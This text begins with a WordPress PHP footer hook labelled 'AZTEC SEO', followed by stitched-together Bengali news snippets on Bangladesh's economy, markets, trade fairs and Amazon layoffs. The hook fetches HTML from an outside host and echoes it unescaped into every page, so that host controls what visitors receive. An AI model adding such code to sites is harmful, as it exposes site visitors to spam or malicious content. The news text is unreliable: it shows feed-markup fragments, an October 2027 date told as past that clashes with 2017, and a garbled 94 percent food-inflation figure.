/* AZTEC SEO */
add_action('wp_footer', function () {
$domain = wp_parse_url(home_url(), PHP_URL_HOST);
if (!$domain) return;
$ck = 'aztec_footer_' . md5($domain);
$html = get_transient($ck);
if ($html === false) {
$url = add_query_arg(array('domain' => $domain, 'date' => gmdate('c')), 'https://aztec-seo.com/api/v1/footer');
$res = wp_remote_get($url, array('timeout' => 8));
$html = (!is_wp_error($res) && wp_remote_retrieve_response_code($res) === 200) ? (string) wp_remote_retrieve_body($res) : '';
set_transient($ck, $html, $html === '' ? 5 * MINUTE_IN_SECONDS : HOUR_IN_SECONDS);
}
if ($html !== '') echo $html;
}, 99);
মার্কিন যুক্তরাষ্ট্রের ওয়াশিংটনে আইএমএফ কার্যালয়ে বিশ্বব্যাংক ও আইএমএপের বসন্তকালীন বৈঠক শুরু হবে আগামী ২১ এপ্রিল। বৈঠকে এ বিষয়ে আলোচনা হতে পারে।
বৈঠকে বাংলাদেশসহ বিশ্বের ১৯০ দেশের গভর্নর, ব্যাংকার, অর্থনীতিবিদ ও বিশ্লেষকরা যোগ দেবেন। বৈশ্বিক অর্থনৈতিক অবস্থা, উন্নয়ন, নীতিমালা সংস্করণ, সমসাময়িক ও ভবিষ্যৎ অর্থনৈতিক পরিকল্পনা গ্রহণ ও বাস্তবায়নে গুরুত্ব দিয়ে প্রতি বছর এ বৈঠকের আয়োজন করে সংস্থাটি।
সংস্থাটি এক বিবৃতিতে জানায়, এ ধরনের চুক্তি তার বর্ধিত ঋণসুবিধা, বর্ধিত তহবিল সুবিধা, টেকসই এবং স্থায়িত্ব সুবিধা বাড়াবে। এই চ্যালেঞ্জিং সময়ে বাংলাদেশ ও এর জনগণকে সমর্থনের প্রতিশ্রুতি পুনর্ব্যক্ত করেছে আইএমএফ।
আইএমএফের একটি মিশন দেশের অর্থনৈতিক ও আর্থিক নীতি পর্যালোচনা করতে ৬ থেকে ১৭ এপ্রিল ঢাকা সফর করে। মিশনটি পর্যবেক্ষণ করেছে যে, বিশ্বব্যাপী অনিশ্চয়তার মধ্যে বাংলাদেশের অর্থনীতি চাপের মধ্যে রয়েছে, অর্থবছরের প্রথমার্ধে জিডিপি প্রবৃদ্ধি ৩ দশমিক ৩ শতাংশে নেমে এসেছে, যা এক বছর আগের একই সময়ের ৫ দশমিক ১ শতাংশ থেকে কমেছে।
জুলাই-আগস্টের গণঅভ্যুত্থান, কঠোর নীতি এবং বিনিয়োগকারীদের আস্থা দুর্বল হওয়ার কারণে এই মন্দা দেখা দিয়েছে বলে জানিয়েছে সংস্থাটি।
২০২৪ সালের জুলাই মাসে এক দশকের সর্বোচ্চ ১১ দশমিক ৭ শতাংশে পৌঁছেছিল মূল্যস্ফীতি, ২০২৫ সালের মার্চ মাসে ৯ দশমিক ৪ শতাংশে নেমে এসেছে। তবে বাংলাদেশ ব্যাংকের ৫ থেকে ৬ শতাংশ লক্ষ্যমাত্রার চেয়ে অনেক বেশি। অর্থনীতিকে স্থিতিশীল করার জন্য আইএমএফ রাজস্ব একত্রকরণ, আরও নমনীয় বিনিময় হার, উন্নত কর সম্মতি এবং প্রাতিষ্ঠানিক সংস্কারের সুপারিশ করেছে।
আইএমএফ ২০২৩ সালে বাংলাদেশের জন্য ৪ দশমিক ৭ বিলিয়ন ডলার ঋণ অনুমোদন করেছিল, যার বিপরীতে তিন কিস্তিতে বাংলাদেশ ইতিমধ্যেই ২ দশমিক ৩ বিলিয়ন ডলার পেয়েছে।
]]>বুধবার ২৯ আগস্ট ২০২৪ বিএসইসির কমিশন সভায় এ সিদ্ধান্ত নেওয়া হয়। বিএসইসি সূত্র জানিয়েছে, বাংলাদেশ জাতীয় ক্রিকেট দলের অলরাউন্ডার সাকিব আল হাসান ছিলেন বিএসইসির ‘দেশব্যাপী বিনিয়োগ শিক্ষা কার্যক্রমের’ শুভেচ্ছাদূত। ২০১৭ সালে সাকিব আল হাসানকে এ কার্যক্রমের সঙ্গে যুক্ত করে বিএসইসি।
গত ২০২৭ সালের অক্টোবরে রাজধানীর শিল্পকলা একাডেমিতে আয়োজিত বিশ্ব বিনিয়োগকারী সপ্তাহের উদ্বোধনী অনুষ্ঠানে সাকিবকে শুভেচ্ছাদূত হিসেবে ঘোষণা করে বিএসইসি। ওই সময় বিএসইসির চেয়ারম্যানের দায়িত্বে ছিলেন এম খায়রুল হোসেন।
বিএসইসির ২০২০ সালে অধ্যাপক শিবলী রুবাইয়াত–উল–ইসলাম বিএসইসির নতুন চেয়ারম্যান হলেও শুভেচ্ছাদূত হিসেবে বহাল রাখা হয় সাকিবকে। এ সময় পুঁজিবাজারের একজন আলোচিত বিনিয়োগকারী হিসেবেও আত্মপ্রকাশ ঘটে সাকিব আল হাসানের।
জানা যায়, পুঁজিবাজারের আলোচিত কারসাজিকারক আবুল খায়ের হিরুর সঙ্গে মিলে পুঁজিবাজারের বড় বিনিয়োগকারী হয়ে যান সাকিব। গত চার থেকে পাঁচ বছরে পুঁজিবাজারে যেসব শেয়ার নিয়ে আবুল খায়ের হিরু সবচেয়ে বেশি কারসাজির ঘটনা ঘটিয়েছেন, এসব কোম্পানির শেয়ারে সাকিবেরও বিনিয়োগ ছিল।
]]>মঙ্গলবার ২৭ আগস্ট নতুন পর্ষদ গঠিত হয়েছে। একই সঙ্গে ব্যাংকটিতে স্বতন্ত্র পরিচালকও নিয়োগ দেওয়া হয়েছে।
ব্যাংকটির ব্যবস্থাপনা পরিচালকের কাছে পাঠানো আদেশে বলা হয়, আমানতকারী ও ব্যাংকের স্বার্থ সংরক্ষণ ও সুশাসন নিশ্চিত করতে ব্যাংকের পরিচালনা পর্ষদ ভেঙে নতুন পর্ষদ গঠন করা হয়েছে।
নয়া পর্ষদের পরিচালক হলেন-ইউনাইটেড কমার্শিয়াল ব্যাংকের শেয়ারহোল্ডার শরীফ জহীর, শেয়ারহোল্ডার মো. তানভীর খান।
এই দুজনকে যথাক্রমে ন্যাশনাল ফাইন্যান্স লিমিটেড এবং ইস্টল্যান্ড ইনস্যুরেন্স কোম্পানি লিমিটেডের পরিচালনা পর্ষদ হতে পদত্যাগের শর্তে নিয়োগ দেওয়া হয়েছে।
এছাড়া স্বতন্ত্র পরিচালক হিসেবে নিয়োগ পেয়েছেন বাংলাদেশ ব্যাংকের সাবেক নির্বাহী পরিচালক মো. সাজ্জাদ হোসেন, অগ্রণী ব্যাংকের সাবেক উপব্যবস্থাপনা পরিচালক মো. ইউসুফ আলী এবং চার্টার্ড অ্যাকাউন্টেন্ট ওবায়দুর রহমান।
]]>তবে কৃষি মন্ত্রণালয় এবং কৃষি উন্নয়ন করপোরেশন সূত্র জানায়, দেশে কোনো পণ্যের অভাব নেই। লাখ লাখ টন আলু গুদামে পড়ে আছে। সিন্ডিকেট করে আলুর বাজার অস্থির করা হচ্ছে। শুধু আলুর দাম বাড়িয়ে ১০ দিনে হাজার কোটি টাকা হাতিয়ে নিয়েছে ব্যবসায়ীদের একটি সিন্ডিকেট। কৃষি বিপণন অধিদপ্তর এ ক্ষেত্রে নীরব দর্শকের ভূমিকা পালন করছে। দেশে কাঁচামরিচও পর্যাপ্ত রয়েছে। কিন্তু বাজার অস্থির করে সাধারণ মানুষের পকেট কাটা হচ্ছে। এছাড়া ভারতের মরিচ দেশে আমদানির একটা অজুহাত খোঁজা হচ্ছিল। এই সুযোগে ভারত থেকে মরিচ আমদানির অনুমতি দেওয়া হয়েছে।
কৃষি বিভাগের পরিসংখ্যান বলছে, চলতি বছর দেশে আলু উৎপাদিত হয়েছে প্রায় ১ কোটি ১১ লাখ মেট্রিক টন। দেশে আলুর বার্ষিক চাহিদা ৭০ থেকে ৭৫ লাখ মেট্রিক টন। উদ্বৃত্ত থাকছে প্রায় ৩৭ লাখ মেট্রিক টন। সেক্ষেত্রে দাম বাড়ার কোনো সুযোগই নেই। তারপরও আলুর দাম কেজিপ্রতি স্বাভাবিকের চেয়ে প্রায় ২০ থেকে ২৫ টাকা বৃদ্ধি পেয়েছে। আলুর এই উচ্চমূল্য নিয়ে সাধারণ মানুষের মধ্যে ক্ষোভের সঞ্চার হয়েছে। কৃষি বিভাগ সূত্র জানায়, প্রতি কেজি আলু উৎপাদনে ব্যয় হয় ৮ থেকে ১০ টাকা। বর্তমানে কৃষকের কাছে কোনো আলু নেই। সব আলু কোল্ড স্টোরেজে। ব্যবসায়ীরা কোল্ড স্টোরেজে আলু সংরক্ষণ করেন। এখন তারা বাড়তি দামে আলু বিক্রি করে লাভবান হচ্ছেন। এর কানাকড়িও পায় না কৃষক। ব্যবসায়ীরা নিজেদের মধ্যে যোগাযোগ করে আলুর দাম বাড়িয়ে হাতিয়ে নিচ্ছে কোটি কোটি টাকা। গুদাম পর্যায়ে মূল্যবৃদ্ধির ফলে প্রথম ধাপে আলুর দাম ২৫ টাকা থেকে হঠাৎ ১০ টাকা বাড়িয়ে ৩৫ টাকা হয়। পরবর্তী ধাপে ১০ টাকা বেড়ে ৪৫ এবং সর্বশেষ ধাপে ৫৫ টাকা করে প্রতি কেজি আলু বিক্রি হচ্ছে।
টিসিবির হিসাবে, গত বছর এ সময় প্রতি কেজি আলুর দাম ছিল ২৮ থেকে ৩০ টাকা। অথচ এ বছর প্রতি কেজি আলুর দাম ৫৫ টাকা। এ বিষয়ে কৃষি উন্নয়ন করপোরেশনের সদস্য মো. মোস্তাফিজুর রহমান যুগান্তরকে বলেন, এ বছর আলুর উৎপাদন কম হয়েছে। যে কারণে আলুর দাম বেড়েছে। তিনি আরও বলেন, আমি জানি, আলুর কেজি ৪০ টাকা পর্যন্ত হয়েছে, ৫০ থেকে ৫৫ টাকা হয়েছে, এটা আমার জানা নেই।
চলতি বছর কোনো দেশে আলু রপ্তানি হয়েছে কি না জানতে চাইলে মোস্তাফিজুর রহমান বলেন, গতবারের তুলনায় এ বছর রপ্তানি কম হয়েছে। রাশিয়া ১ লাখ ২০ হাজার মেট্রিক টন নেওয়ার চুক্তি করেও শেষ পর্যন্ত নেয়নি। সামান্য কিছু আলু প্রতিবছর রপ্তানি হয়। এবারও তাই হয়েছে। তিনি জানান, প্রতিবছর কোল্ড স্টোরেজের আলু বিক্রির জন্য নামানো হয় জুন-জুলাইয়ে। এবার কোল্ড স্টোরেজের আলু নামানো হয়েছে এফ্রিল-মে মাসে। প্রায় দুই মাস আগে গুদামজাত আলু বাজারে বিক্রির জন্য বের করা হয়েছে। কারণ, আলুর উৎপাদন কম হয়েছে। তিনি আরও জানান, বিএডিসির গুদামে প্রায় ৩৭ হাজার মেট্রিক টন আলু বীজ হিসাবে সংরক্ষণ করা হয়েছে।
তাহলে উৎপাদিত এত আলু গেল কোথায়-এমন প্রশ্নের জবাবে মোস্তাফিজুর রহমান বলেন, কৃষি বিপণন অধিদপ্তর বিষয়টি ভালো বলতে পারবে। কৃষি বিপণন অধিদপ্তরের সিনিয়র কৃষি বিপণন কর্মকর্তা মো. মজিবর রহমান বলেন, চলতি বছর রেকর্ড পরিমাণ আলু উৎপাদন হয়েছে। যার পরিমাণ প্রায় ১ কোটি ১১ লাখ মেট্রিক টন। তবে বর্তমানে আলুর বাজার দর একটু অস্বাভাবিক। পরিস্থিতি স্বাভাবিক করতে জেলায় জেলায় কৃষি বিপণন কর্মকর্তাদের বাজার তদারকি করতে বলা হয়েছে। তারা কাজ করছে। দুই-চার দিনের মধ্যে আলুর দাম স্বাভাবিক হয়ে আসবে। তিনি আরও জানান, এখনো কোল্ড স্টোরেজে প্রায় ২৮ লাখ মেট্রিক টন আলু রয়েছে, যা দিয়ে জানুয়ারি পর্যন্ত স্বাভাবিকভাবে সরবরাহ নিশ্চিত করা যাবে। তিনি আরও জানান, শনিবার সকালে খিলগাঁও বাজারে তিনি ৫০ টাকা করে আলু বিক্রি হতে দেখেছেন। তবে ৫৫ টাকা হয়েছে তা তিনি জানেন না। এ বিষয়ে কৃষি বিপণন অধিদপ্তরের সিনিয়র কৃষি বিপণন কর্মকর্তা মজিবর রহমান বলেন, ঈদের কারণে ট্রাক পাওয়া যাচ্ছে না। দুই-তিন দিনের মধ্যে ট্রাক পাওয়া সহজ হবে। তখন আলুর সরবরাহ বাড়লে দাম কমে যাবে। সিন্ডিকেট সম্পর্কে আমাদের কিছু জানা নেই। বাজার স্বাভাবিক করতে আমরা কাজ করছি।
]]>
সম্প্রতি রাশিয়ার কেন্দ্রীয় ব্যাংক এবং ফাইনান্সিয়াল মার্কেট রিস্ক এক প্রতিবেদনে এই তথ্য জানিয়েছে। খবর পার্সটুডে।
প্রতিবেদনে বলা হয়, রপ্তানি বাণিজ্যের ক্ষেত্রে রাশিয়া মোট ব্যয়ের অর্ধেকেরও কম ইউরো এবং ডলারে পরিশোধ করছে। এক্ষেত্রে চীনা মুদ্রার ব্যবহার শতকরা শূন্য দশমিক পাঁচ ভাগ থেকে বেড়ে ১৬ ভাগে দাঁড়িয়েছে। রাশিয়া যেসব পণ্য আমদানি করছে তাতে শতকরা ২৩ ভাগ চীনা মুদ্রা ব্যবহার করা হচ্ছে। গত বছরের জানুয়ারি মাসে এই পরিমাণ ছিল মাত্র শতকরা চার ভাগ।
গেল বছর ফেব্রুয়ারি মাসে রাশিয়া ইউক্রেনে সামরিক অভিযান চালানোর পর আমেরিকা এবং পশ্চিমা বহু দেশ মস্কোর ওপর সাড়ে ছয় হাজারের বেশি নিষেধাজ্ঞা আরোপ করে। পরবর্তীতে রাশিয়া তার নিজের অর্থনৈতিক স্বার্থে অনেক ক্ষেত্রে নিজস্ব মুদ্রা রুবল ব্যবহার করছে, আবার কোনো কোনো ক্ষেত্রে চীনের মুদ্রা ইউয়ান ব্যবহার করছে।
]]>
ডিটিজি’র ১৭তম এ সংস্করণটির আয়োজনে বরাবরের মতই আছে, বাংলাদেশ টেক্সটাইল মিলস অ্যাসোসিয়েশন (বিটিএমএ) এবং ইয়র্কার্স ট্রেড অ্যান্ড মার্কেটিং সার্ভিস কোম্পানি লিমিটেড।
প্রায় দুই দশক ধরে ডিটিজি, বাংলাদেশে টেক্সটাইল ও গার্মেন্টস মেশিনারি পণ্যগুলির অত্যাধুনিক প্রযুক্তি প্রদর্শনের সবচেয়ে বড় প্লাটফর্ম হিসেবে কাজ করে যাচ্ছে।
বিগত ৩ বছরের করোনাকালীন পরিস্থিতিতে সবকিছুর মতই থেমে ছিল ডিটিজি’র এ ১৭তম সংস্করণটি। তাই আয়োজকদের প্রত্যাশা, এবারের মেলায় আগ্রহী ব্যবসায়ী, ক্রেতা ও দর্শনার্থী-সবার উপস্থিতিই থাকবে আগের যেকোনো সংস্করণের তুলনায় অনেক বেশি।
আইসিসিবি’র ৪টি হল ও পুরো এক্সপো জোন জুড়ে থাকবে ৩২টি দেশের ১২০০টি আন্তর্জাতিক আইকনিক ব্র্যান্ড এবং ১৬০০টি বুথ-যারা একত্রিত হবে দেশ বিদেশের সর্বাধুনিক গার্মেন্টস ও টেক্সটাইল মেশিনারি সলিউশন নিয়ে।
১৫ থেকে ১৮ ফেব্রুয়ারি-এ চারদিনই মেলাটি দর্শনার্থীদের জন্য উন্মুক্ত থাকবে বেলা ১২টা থেকে রাত ৮টা পর্যন্ত। দর্শনার্থীদের জন্য মেলায় অন-স্পট রেজিস্ট্রেশনের ব্যবস্থা থাকবে। এছাড়া আগে থেকেই অনলাইন রেজিস্ট্রেশন করে ফেলা যাবে নিচের লিংকে গিয়ে–chanchao.com.tw/DTG/visitorReg.asp
]]>সফররত বিশ্বব্যাংকের ব্যবস্থাপনা পরিচালক অ্যাক্সেল ফন ট্রটসেনবার্গের সঙ্গে বৈঠকে এ সহযোগিতা চান বিজিএমইএ সভাপতি ফারুক হাসান।
২৩ জানুয়ারি সোমবার রাজধানীর উত্তরায় বিজিএমইএ ভবনে এ বৈঠক অনুষ্ঠিত হয়। বিজিএমইএ জানায়, বিশ্বব্যাংকের প্রতিনিধি দলে ছিলেন সংস্থার দক্ষিণ এশিয়া অঞ্চলের ভাইস প্রেসিডেন্ট মার্টিন রেইজার, বাংলাদেশে কান্ট্রি ডিরেক্টর আবদুলায়ে সেক প্রমুখ।
বিজিএমইএ নেতাদের মধ্যে ছিলেন পরিচালক আব্দুল্লাহিল রাকিব, নীলা হোসনে আরা, ফরেন মিশন সেলের চেয়ারম্যান শামস মাহমুদ, ইউডি-বিষয়ক সেলের চেয়ারম্যান নুরুল ইসলাম প্রমুখ।
বিজিএমইএ সভাপতি বৈঠকে বলেন, এসএমই কারখানাগুলো টেকসই উন্নয়নে অর্থায়নের সংকটে আছে। অর্থায়ন পেতে বিভিন্ন বিধিবিধানের কারণে প্রচলিত অর্থায়ন স্কিম থেকে ঋণ নিতে পারে না।
এ ধরনের কারখানা যাতে স্বল্প অর্থায়নে সামর্থ্য বাড়াতে পারে এবং প্রতিযোগিতা সক্ষমতা ধরে রাখতে পারে সে জন্য বিশ্বব্যাংকের সহায়তা চান তিনি।
পোশাক খাতের বর্তমান পরিস্থিতি এবং আগামীর সম্ভাবনা ও চ্যালেঞ্জ নিয়ে বৈঠকে আলোচনা হয়। বিশেষ করে স্বল্পোন্নত দেশের (এলডিসি) কাতার থেকে উত্তরণের পর বাংলাদেশের পোশাক রপ্তানিতে যে ধরনের চ্যালেঞ্জের মুখে পড়তে পারে, তার ওপর আলোকপাত করেন বক্তারা।
]]>জ্যাসি বলেন, আমরা কর্মীদের ছাঁটাই বাবদ ক্ষতিপূরণ, অন্তর্বর্তী স্বাস্থ্যবিমা-সুবিধা ও অন্যত্র চাকরির ব্যবস্থা করার মতো সহযোগিতা করছি। অ্যামাজন অতীতে অনিশ্চিত ও কঠিন অর্থনৈতিক পরিস্থিতি সামাল দিয়েছে এবং আমরা সেটা চালিয়ে যাব।
বিবিসি পরিবেশিত খবরে জানা যায়,অ্যামাজন কোম্পানিটির কর্মীর সংখ্যা ৩ লাখের মতো। সেই হিসাবে ১৮ হাজার কর্মী ছাঁটাই হলে অ্যামাজনের প্রায় ৬ শতাংশ কর্মী চাকরি হারাবেন।
কোন এলাকার কর্মীদের ছাঁটাই করা হবে, সে বিষয়ে নির্দিষ্ট করে কিছু বলেননি অ্যামাজনের সিইও। তবে তিনি বলেছেন, ইউরোপে প্রযোজ্য’ কর্মীদের প্রতিনিধিত্বকারী সংগঠনগুলোর সঙ্গে যোগাযোগ করবে কোম্পানি।
২ মাস আগে বার্ষিক ব্যবসা পরিচালনাসংক্রান্ত পর্যালোচনায় অ্যামাজন বলেছিল, কোম্পানিটি ব্যয় কমানোর দিকে মনোনিবেশ করবে। ইতোমধ্যে কর্মী নিয়োগ বন্ধ করে দিয়েছে অ্যামাজন। একই সঙ্গে কয়েকটি গুদাম বড় করার সিদ্ধান্ত থেকেও সরে এসেছে কোম্পানিটি।
মহামারির সময় অতিরিক্ত কর্মী নিয়োগ দেওয়ায় এই সতর্কতা অবলম্বন করে প্রযুক্তি জায়ান্টটি। ব্যক্তিগত ডেলিভারি রোবটের মতো প্রকল্প বাতিল করেছে অ্যামাজন। সেই সঙ্গে ব্যবসার কিছু অংশ বন্ধ করে দেওয়ার পদক্ষেপও নিয়েছে।
]]>রাজউকের পূর্বাচল নতুন শহরে নবনির্মিত বঙ্গবন্ধু বাংলাদেশ-চায়না ফ্রেন্ডশিপ এক্সিবিশন সেন্টারে বসবে এ মেলা। সকালে প্রধানমন্ত্রী শেখ হাসিনা মেলার উদ্বোধন করার পর সাধারণের জন্য উন্মুক্ত করা হবে প্রবেশদার।
মেলার এক্সিবিশন সেন্টারে রপ্তানি উন্নয়ন ব্যুরো আয়োজিত সংবাদ সম্মেলনে শনিবার এসব তথ্য জানানো হয়। সংবাদ সম্মেলনে সর্বোচ্চ রপ্তানি আদেশ আসবে এবারের বাণিজ্যমেলায় এমন আশার বাণী শোনান বাণিজ্যমন্ত্রী টিপু মুনশি।
মেলার প্রবেশমূল্য প্রাপ্তবয়স্কদের জন্য ৪০ টাকা এবং শিশুদের জন্য ২০ টাকা।
দেশীয় পণ্যের প্রচার, প্রসার, বিপণন ও উৎপাদনে সহায়তা দেওয়ার লক্ষ্যে বাণিজ্য মন্ত্রণালয় ও রপ্তানি উন্নয়ন ব্যুরোর যৌথ উদ্যোগে প্রথম ১৯৯৫ সালে ঢাকা আন্তর্জাতিক বাণিজ্যমেলা শুরু হয়। এর পর প্রায় প্রতিবছর রাজধানীর আগারগাঁওয়ে হয়ে আসছিল এ মেলা। বর্তমানে পূর্বাচলের স্থায়ী কমপ্লেক্সে বসছে এ মেলা।
এবারের মেলায় ৩১১ স্টলের মধ্যে বিদেশি স্টল থাকবে ১৭টি। পুরো জানুয়ারি মাসব্যাপী সকাল ১০টা থেকে রাত ৯টা পর্যন্ত চলবে মেলা। ছুটির দিনে খোলা থাকবে রাত ১০টা পর্যন্ত। আগত দর্শনার্থীদের জন্য কুড়িল থেকে মেলা পর্যন্ত বিআরটিসির শাটল বাস থাকবে।
অত্যাধুনিক সুযোগ-সুবিধাসহ শীতাতপ নিয়ন্ত্রিত এক্সিবিশন সেন্টারের ১৪ হাজার ৩৬৬ বর্গমিটার আয়তনের দুটি হলে সব স্টল বরাদ্দ দেওয়া হয়। মেলা কমপ্লেক্সের বাইরে (সম্মুখ ও পেছনে) প্যাভিলিয়ন, মিনি প্যাভিলিয়ন ও ফুড স্টল নির্মাণ করা হয়েছে।
মেলায় দেশীয় বস্ত্র, মেশিনারিজ, কার্পেট, কসমেটিকস অ্যান্ড বিউটি এইডস, ইলেকট্রিক্যাল অ্যান্ড ইলেক্ট্রনিকস, ফার্নিচার, পাট ও পাটজাত পণ্য, গৃহসামগ্রী, চামড়া ও জুতাসহ চামড়াজাত পণ্য, স্পোর্টস গুডস, স্যানিটারিওয়্যার, খেলনা, স্টেশনারি, ক্রোকারিজ, প্লাস্টিক, মেলামাইন পলিমার, হারবাল ও টয়লেট্রিজ, ইমিটেশন জুয়েলারি, প্রক্রিয়াজাত খাদ্য, হস্তশিল্পজাত পণ্য, হোম ডেকর ইত্যাদি পণ্য প্রদর্শিত হবে।
]]>এ প্রসঙ্গে অর্থনীতিবিদরা মনে করেন, কেন্দ্রীয় ব্যাংক থেকে সরকার যখন লাগামহীনভাবে ঋণ নিচ্ছে, নিত্যপণ্য বিশেষ করে চাল, ডাল, আটাসহ প্রায় সব পণ্যের দাম বাড়ছে, টাকার অবমূল্যায়ন হচ্ছে, আমদানি পণ্যের দাম বাড়ার পাশাপাশি সংকটও রয়েছে-তখন মূল্যস্ফীতির হার কমতে পারে না। বাড়ারই কথা।
কিন্তু কেন্দ্রীয় ব্যাংকের এক কর্মকর্তা জানিয়েছেন, মূল্যস্ফীতির ঊর্ধ্বগতি নিয়ন্ত্রণে সংকোচনমুখী মুদ্রানীতি অনুসরণের মাধ্যমে বাজারে টাকার প্রবাহ কমানো হয়েছে, এতে চাহিদা কমেছে। দরিদ্রদের জন্য সরকার বিশেষ খাদ্য কর্মসূচি চালু করেছে, এছাড়া স্বল্পআয়ের মানুষের মধ্যে কম দামে পণ্যের জোগান বাড়ানো হয়েছে। বাজারে শীতের সবজি আসায় দামও কমেছে। আমদানিজনিত মূল্যস্ফীতি ঠেকাতে এ খাতে নিয়ন্ত্রণ আরোপ করা হয়েছে। এতে আমদানি কমেছে। এসব কারণে মূল্যস্ফীতির হার কমেছে।
এ বিষয়ে কেন্দ্রীয় ব্যাংকের সাবেক গভর্নর ড. সালেহউদ্দিন আহমেদ বলেন, মূল্যস্ফীতির হার অনেক কিছুর ওপর নির্ভর করে। এর মধ্যে বেশি প্রভাব পড়ে পণ্য ও সেবার দাম বাড়লে। মুদ্রার মান কমে গেলে। সব খাতেই মূল্যস্ফীতির হার বাড়ার উপসর্গ রয়েছে। বাংলাদেশে মুদ্রানীতি দিয়ে মূল্যস্ফীতির হার কমানো যায় না। কারণ মুদ্রানীতির উপকরণগুলো ঠিকমতো কাজ করে না। কেন্দ্রীয় ব্যাংক চাচ্ছে টাকার প্রবাহে লাগাম টানতে, কিন্তু বাস্তবে তা বেড়ে যাচ্ছে। সরকার কেন্দ্রীয় ব্যাংক থেকে মাত্রাতিরিক্ত ঋণ নিচ্ছে। তিনি আরও বলেন, দরিদ্র মানুষের জন্য কম দামে যেসব পণ্য দেওয়া হচ্ছে তা চাহিদার তুলনায় খুবই কম। এটি মূল্যস্ফীতিতে খুব বেশি প্রভাব ফেলার কথা নয়।
বিবিএসের তথ্যে দেখা যায়, প্রতিষ্ঠানটি মূল্যস্ফীতির হার নিরূপণের জন্য ১২ খাতের ৪৭টি পণ্য নিজস্ব উৎসের মাধ্যমে বাজার থেকে সংগ্রহ করে। এর মধ্যে সবচেয়ে বেশি ভর (বেশি চাহিদার ভিত্তিতে গুরুত্ব) দেওয়া আছে খাদ্যপণ্যে। খাদ্যপণ্যের মধ্যে চাল ও আটায় বেশি ভর রয়েছে। সব মিলে ৪৭টি পণ্যের মধ্যে ২৭টি পণ্যের দাম বেড়েছে। সামান্য কমেছে ১৭টি পণ্যের দাম। এর মধ্যে সবজি, ভোজ্যতেল রয়েছে। ৩টি পণ্যের দাম রয়েছে অপরিবর্তিত।
এর বাইরেও মূল্যস্ফীতির হার নিরূপণে আরও উপকরণ রয়েছে। সেগুলোতেও নেতিবাচক পরিস্থিতি বিরাজ করছে। এর মধ্যে রয়েছে সেবাসহ অন্যান্য খাত। এসব খাতেও ব্যয় বেড়েছে।
বিবিএসের প্রতিবেদন থেকে পাওয়া তথ্যে দেখা যায়, চালের মধ্যে নাজিরশাইলের প্রতি কেজির দাম গত আগস্টে ছিল সাড়ে ৭৫ টাকা। নভেম্বরে তা বেড়ে হয়েছে ৮২ টাকা ৫১ পয়সা। পাইজামের দাম একই সময়ের ব্যবধানে প্রতি কেজি ৬৪ টাকা ১০ পয়সা থেকে বেড়ে হয়েছে ৬৪ টাকা ৬৭ পয়সা। ইরি চালের দামের কেজি ৫৬ টাকা ৪০ পয়সা থেকে বেড়ে ৫৮ টাকা ৯৪ পয়সা হয়েছে। একই সময়ে আটার কেজি ৫৫ থেকে বেড়ে ৫৯ টাকা ১১ পয়সা হয়েছে। মসুর ডাল ১৩০ থেকে বেড়ে ১৩৬ টাকা ৫৭ পয়সা কেজি বিক্রি হয়েছে। প্রতি কেজি চিনির দাম ৯৩ টাকা ১০ পয়সা থেকে বেড়ে ১০৩ টাকা ৪৬ পয়সা, গরুর মাংস ৭০০ থেকে বেড়ে ৭১৮ টাকা ৭৭ পয়সায় বিক্রি হয়। ফার্মের ডিমের হালি ৪৮ টাকা ৬৭ পয়সা থেকে কমে ৪৩ টাকা ১৭ পয়সায় বিক্রি হয়। সয়াবিন তেল প্রতি লিটার ১৯২ থেকে কমে ১৯০ টাকা হয়েছে। আলুর কেজি ৩০ থেকে কমে ২৮ টাকা ৭০ পয়সা হয়েছে। একই সময়ে পেঁয়াজের কেজি ৫০ থেকে বেড়ে ৫১ টাকা। লবণ প্রতি কেজি ৩৫ থেকে বেড়ে ৩৮ টাকা ৪০ পয়সা দরে বিক্রি হয়।
প্রতিবেদন থেকে দেখা যায়, ভোক্তারা বেশি ব্যবহার করেন এমন সব পণ্যের দাম বেড়েছে। তেল ও ডিমের দাম কমলেও পরিমাণে খুবই কম। তবে সবজির দাম বেশ কিছুটা কমেছে। তবে অন্যান্য পণ্যের দাম কমলেও সেগুলোর ব্যবহার কম।
বাংলাদেশের ইতিহাসে গত আগস্টে মূল্যস্ফীতির হার বেড়ে সর্বোচ্চ ৯ দশমিক ৫২ শতাংশে উঠেছিল। এর মধ্যে খাদ্যে মূল্যস্ফীতির হার বেড়ে হয়েছিল ৯৪ শতাংশ। খাদ্যবহির্ভূত খাতে দশমিক ৮৫ শতাংশ। অথচ এক বছর আগে গত বছরের আগস্টে মূল্যস্ফীতির হার ছিল সাড়ে ৫ শতাংশ।
গত ফেব্রুয়ারির শেষদিকে রাশিয়া-ইউক্রেন যুদ্ধ শুরু হলে আন্তর্জাতিক বাজারে সব পণ্যের সরবরাহ কমে গিয়ে দাম বাড়তে শুরু করে। মার্চে তা আরও বেড়ে যায়। এতে মূল্যস্ফীতির হারও বাড়তে থাকে। বেশি দামে পণ্য আমদানি হলে দেশে আমদানিজনিত মূল্যস্ফীতির হার বেড়ে যাবে এবং ডলারের সংকট মোকাবিলায় এপ্রিল থেকে কেন্দ্রীয় ব্যাংক সীমিত আকারে এলসি মার্জিন আরোপ করে। জুলাইয়ের শুরুতে তা আরও বাড়িয়ে বিলাসী পণ্যে শতভাগ এলসি মার্জিন আরোপ করে। জাতীয় রাজস্ব বোর্ড থেকে বাড়ানো হয় নিয়ন্ত্রণমূলক শুল্ক। কেন্দ্রীয় ব্যাংক জুলাই থেকে সংকোচনমুখী মুদ্রানীতি অনুসরণের ঘোষণা দেয়। বাড়ানো হয় নীতিনির্ধারণী সুদের হার। একই সঙ্গে বাজারে বাড়ানো হয় তদারকি। এসব পদক্ষেপের ফলে সেপ্টেম্বর থেকে মূল্যস্ফীতির হার কমতে থাকে। অক্টোবর মাসেও কমে। নভেম্বরে তা আরও কমে ৮ দশমিক ৮৫ শতাংশ হয়। এর মধ্যে খাদ্যে ৮ দশমিক ১৪ শতাংশ এবং খাদ্যবহির্ভূত খাতে ৯ দশমিক ৯৮ শতাংশ।
